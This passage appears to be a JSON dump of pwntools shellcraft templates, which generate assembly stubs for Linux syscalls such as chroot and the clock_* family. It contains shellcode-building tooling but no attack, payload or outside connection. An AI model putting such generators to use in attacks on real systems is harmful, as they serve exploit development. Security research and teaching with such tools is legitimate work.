    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>chroot(path) -> str\n\nInvokes the syscall chroot.\n\nSee 'man 2 chroot' for more information.\n\nArguments:\n    path(char*): path\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['path']\n    argument_values = [path]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_chroot']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_chroot'])\n%>\n    /* chroot(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_adjtime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_adjtime(clock_id, utx) -> str\n\nInvokes the syscall clock_adjtime.\n\nSee 'man 2 clock_adjtime' for more information.\n\nArguments:\n    clock_id(clockid_t): clock_id\n    utx(timex*): utx\nReturns:\n    int\n</%docstring>\n<%page args=\"clock_id=0, utx=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['clock_id', 'utx']\n    argument_values = [clock_id, utx]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_adjtime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_adjtime'])\n%>\n    /* clock_adjtime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_adjtime64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_adjtime64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall clock_adjtime64.\n\nSee 'man 2 clock_adjtime64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_adjtime64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_adjtime64'])\n%>\n    /* clock_adjtime64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_getres.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_getres(clock_id, res) -> str\n\nInvokes the syscall clock_getres.\n\nSee 'man 2 clock_getres' for more information.\n\nArguments:\n    clock_id(clockid_t): clock_id\n    res(timespec*): res\nReturns:\n    int\n</%docstring>\n<%page args=\"clock_id=0, res=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['clock_id', 'res']\n    argument_values = [clock_id, res]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_getres']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_getres'])\n%>\n    /* clock_getres(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_getres_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_getres_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall clock_getres_time64.\n\nSee 'man 2 clock_getres_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_getres_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_getres_time64'])\n%>\n    /* clock_getres_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_gettime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_gettime(clock_id, tp) -> str\n\nInvokes the syscall clock_gettime.\n\nSee 'man 2 clock_gettime' for more information.\n\nArguments:\n    clock_id(clockid_t): clock_id\n    tp(timespec*): tp\nReturns:\n    int\n</%docstring>\n<%page args=\"clock_id=0, tp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['clock_id', 'tp']\n    argument_values = [clock_id, tp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_gettime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_gettime'])\n%>\n    /* clock_gettime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_gettime64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_gettime64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall clock_gettime64.\n\nSee 'man 2 clock_gettime64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_gettime64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_gettime64'])\n%>\n    /* clock_gettime64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_nanosleep.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_nanosleep(clock_id, flags, req, rem) -> str\n\nInvokes the syscall clock_nanosleep.\n\nSee 'man 2 clock_nanosleep' for more information.\n\nArguments:\n    clock_id(clockid_t): clock_id\n    flags(int): flags\n    req(timespec*): req\n    rem(timespec*): rem\nReturns:\n    int\n</%docstring>\n<%page args=\"clock_id=0, flags=0, req=0, rem=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['clock_id', 'flags', 'req', 'rem']\n    argument_values = [clock_id, flags, req, rem]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_nanosleep']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_nanosleep'])\n%>\n    /* clock_nanosleep(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/clock_nanosleep_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>clock_nanosleep_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall clock_nanosleep_time64.\n\nSee 'man 2 clock_nanosleep_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_clock_nanosleep_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_clock_nanosleep_time64'])\n%>\n    /* clock_nanosleep_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
